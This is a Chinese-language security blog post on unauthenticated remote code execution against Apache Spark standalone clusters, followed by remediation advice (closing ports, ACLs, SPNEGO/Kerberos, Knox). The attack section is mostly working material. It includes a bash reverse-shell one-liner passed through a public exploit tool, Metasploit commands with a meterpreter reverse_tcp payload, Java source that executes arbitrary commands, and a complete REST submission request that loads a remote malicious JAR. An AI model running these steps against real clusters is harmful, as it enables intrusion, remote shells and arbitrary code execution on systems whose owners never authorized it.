spark未授权RCE漏洞

  • A+
所属分类:网络安全

Spark简介



spark是一个实现快速通用的集群计算平台。它是由加州大学伯克利分校AMP实验室 开发的通用内存并行计算框架,用来构建大型的、低延迟的数据分析应用程序。它扩展了广泛使用的MapReduce计算模型。高效的支撑更多计算模式,包括交互式查询和流处理。spark的一个主要特点是能够在内存中进行计算,及时依赖磁盘进行复杂的运算,Spark依然比MapReduce更加高效。

Spark未授权



信息探测


nmap扫描出先如下端口开放,则很有可能

6066/tcp  open  http           Jetty 9.3.z-SNAPSHOT8081/tcp  open  http           Jetty 9.3.z-SNAPSHOT8082/tcp  open  http           Jetty 9.3.z-SNAPSHOT

验证如图
spark未授权RCE漏洞

下载攻击组件或使用MSF


下载地址:git clone https://github.com/aRe00t/rce-over-spark.git

jar工具使用说明

./submit.sh IP:PORT SPARKVERSION JAR-URL "command"


./submit.sh 192.168.100.2:6066 2.3.1 https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar "bash -i >& /dev/tcp/192.168.100.1/8888 0>&1"

反弹shell效果:
spark未授权RCE漏洞

msf工具


msf5>use exploit/linux/http/spark_unauth_rcemsf5>set payload java/meterpreter/reverse_tcpmsf5>set rhost 192.168.100.2msf5>set rport 6066msf5>set lhost 192.168.100.1msf5>set lport 4444msf5>set srvhost 192.168.100.1msf5>set srvport 8080msf5>exploit

0x01 漏洞介绍

    Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。
    该漏洞的本质是未授权用户可以向Master节点提交一个应用,Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁Spark集群整体的安全性。

  

0x02 漏洞测试

Master节点提交应用的方式有两种:
1
、利用StandaloneRestServer API提交应用,REST服务端的默认端口号是6066
 

2、使用Spark应用程序部署工具spark-submit提交应用。

import java.io.BufferedReader;

import java.io.InputStreamReader;

public class Exploit {

  public static void main(String[] args) throws Exception {

    String[] cmds = args[0].split(",");

    for (String cmd : cmds) {

      System.out.println(cmd);

      System.out.println(executeCommand(cmd.trim()));

      System.out.println("==============================================");

    }

  }

  // https://www.mkyong.com/java/how-to-execute-shell-command-from-java/

  private static String executeCommand(String command) {

    StringBuilder output = new StringBuilder();

    try {

      Process p = Runtime.getRuntime().exec(command);

      p.waitFor();

      BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));

      String line;

      while ((line = reader.readLine()) != null) {

        output.append(line).append("\n");

      }

    } catch (Exception e) {

      e.printStackTrace();

    }

    return output.toString();

  }

}

 应用可以是JavaPython,就是一个最简单的类,如下所示(参考链接1):


将其编译成JAR,放在任意一个HTTPFTP上,如https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jarstandalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API

POST /v1/submissions/create HTTP/1.1

Host: 111.111.111.111:6066

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Content-Type: application/json

Connection: close

Content-Length: 687

{

  "action": "CreateSubmissionRequest",

  "clientSparkVersion": "2.3.1",

  "appArgs": [

    "whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"

  ],

  "appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",

  "environmentVariables": {

    "SPARK_ENV_LOADED": "1"

  },

  "mainClass": "Exploit",

  "sparkProperties": {

    "spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar",

    "spark.driver.supervise": "false",

    "spark.app.name": "Exploit",

    "spark.eventLog.enabled": "true",

    "spark.submit.deployMode": "cluster",

    "spark.master": "spark://111.111.111.111:6066"

  }

}


其中spark.jars就是恶意的应用,appArgs是该应用执行的命令参数。提交该请求之后,Spark slave节点会部署运行该恶意应用。 

  服务器响应图所示:其中submissionId在漏洞利用请求的response中可以查看到。

spark未授权RCE漏洞    

(疑难:该处获取driveId是没问题的,但是

   1、对于内网来说,最上面使用submit.sh比较适合;

  2、我在实际环境中submit.sh运行连接报错,可能与目标机有关

  3、攻击机可以访问github,但设置spark.jars为github时,显示ERROR,如果攻击机本地搭建web:http://10.22.12.11:88/exploit.jar 则显示fail;怀疑目标机的网络连接问题

)   

 通过如下Url可以查看任务的运行情况:


    http://{Master ip}:8081/logPage/??driverId={submissionId}&logType=stdout


    结果下图所示: 

spark未授权RCE漏洞

    如果6066端口不能访问,或做了权限控制,我们可以向Spark standalone集群的master节点来提交应用,默认端口是7077,具体方法是利用Apache Spark自带的脚本bin/spark-submit

bin/spark-submit --master spark://111.111.111.111:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id


0x03 漏洞修复

 

1、对外关闭端口
    对外关闭8080(Standalone Master Web UI端口)8081(Standalone Worker Web UI端口)6066(Standalone Master Rest Server Api端口)7077(Standalone Master集群作业提交端口)Spark端口。

 

2、权限认证
    用户可以自定义 javax servlet filter 来对登陆用户进行认证,Spark会根据用户的ACL(访问控制列表)来确保该登陆用户有权限访问某个Spark应用的web UISpark ACL的行为可由 spark.acls.enable  spark.ui.view.acls 共同控制。注意,启动Spark应用的用户总是会有权限访问该应用对应的UI。而在YARN模式下,Spark web UI会使用YARNweb应用代理机制,通过Hadoop过滤器进行认证。
    Spark还支持修改运行中的Spark应用对应的ACL以便更改其权限控制,不过这可能会导致杀死应用或者杀死任务的动作。这一特性由spark.acls.enable  spark.modify.acls 共同控制。注意,如果你需要web UI的认证,比如为了能够在web UI上使用杀死应用的按钮,那么就需要将用户同时添加到modify ACLview ACL中。在YARN上,控制用户修改权限的modify ACL是通过YARN接口传进来的。
    Spark可以允许多个管理员共同管理ACL,而且这些管理员总是能够访问和修改所有的Spark应用。而管理员本身是由 spark.admin.acls 配置的。在一个共享的多用户集群中,你可能需要配置多个管理员,另外,该配置也可以用于支持开发人员调试Spark应用。

 

3Spnego Authentication
    开启了ACL就能对UI进行权限隔离了吗?其实我们还只走了一半路。为了使web serverSpark内嵌Jetty)能够对用户进行隔离,首先Jetty需要知道是谁发起了HTTP请求,换句话说,只有用户的HTTP请求中包含了用户信息,UIACL才能根据用户信息进行正确的隔离。但是不幸的是,普通的HTTP请求是不包含用户信息。
    为此需要为Jetty servlet加入authentication filter以获取认证用户的信息。在这之中,最常用的就是Spnego authentication
    Spnego是一套以Kerberos为基础的HTTP认证机制,只有经过Kerberos授权的HTTP请求才能被web server所接受。Hadoop生态系统下的各个组件的UI大都采用Spnego作为认证机制,如HDFSYARN等。

    为了使Spark UI能够使用Spnego认证,用户需要实现相应的authentication filter并将其添加到Jetty中。幸运的是Hadoop已经帮我们实现了相应的filter,只需将其配置就可使用。具体如下:

1.spark.ui.filters=org.apache.hadoop.security.authentication.server.AuthenticationFilter

2.spark.org.apache.hadoop.security.authentication.server.AuthenticationFilter.params=type=kerberos,kerberos.pricipal=<kerberos-principal>,kerberos.keytab=<kerberos-keytab>

    在这里,需要为Spark UI创建Kerberos principalkeytab。这样Spark UI就有了Spnego 
authentication的能力了,任何用户在发起HTTP请求之前必须先获得Kerberos tgt。使用curl命令的话,方式

$ kinit

$ curl --negotiate -u : <host>:<port>/<xxx>

    经过Spnego认证的HTTP请求在其HTTP头部包含用户信息,Spark UIACL机制会从其中获取用户名并在相应的权限列表中进行比对。


参考链接:
http://jerryshao.me/2018/01/15/spark-security-overview/
https://community.hortonworks.com/content/supportkb/150096/how-to-enable-spnego-for-spark-history-server-ui.html

 

4Apache Knox

参考链接:

https://ieevee.com/tech/2016/06/17/knox.html
https://blog.csdn.net/tonyhuang_google_com/article/details/50038165

参考:

https://anquan.baidu.com/article/420

https://www.cnblogs.com/KevinGeorge/p/10399844.html

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: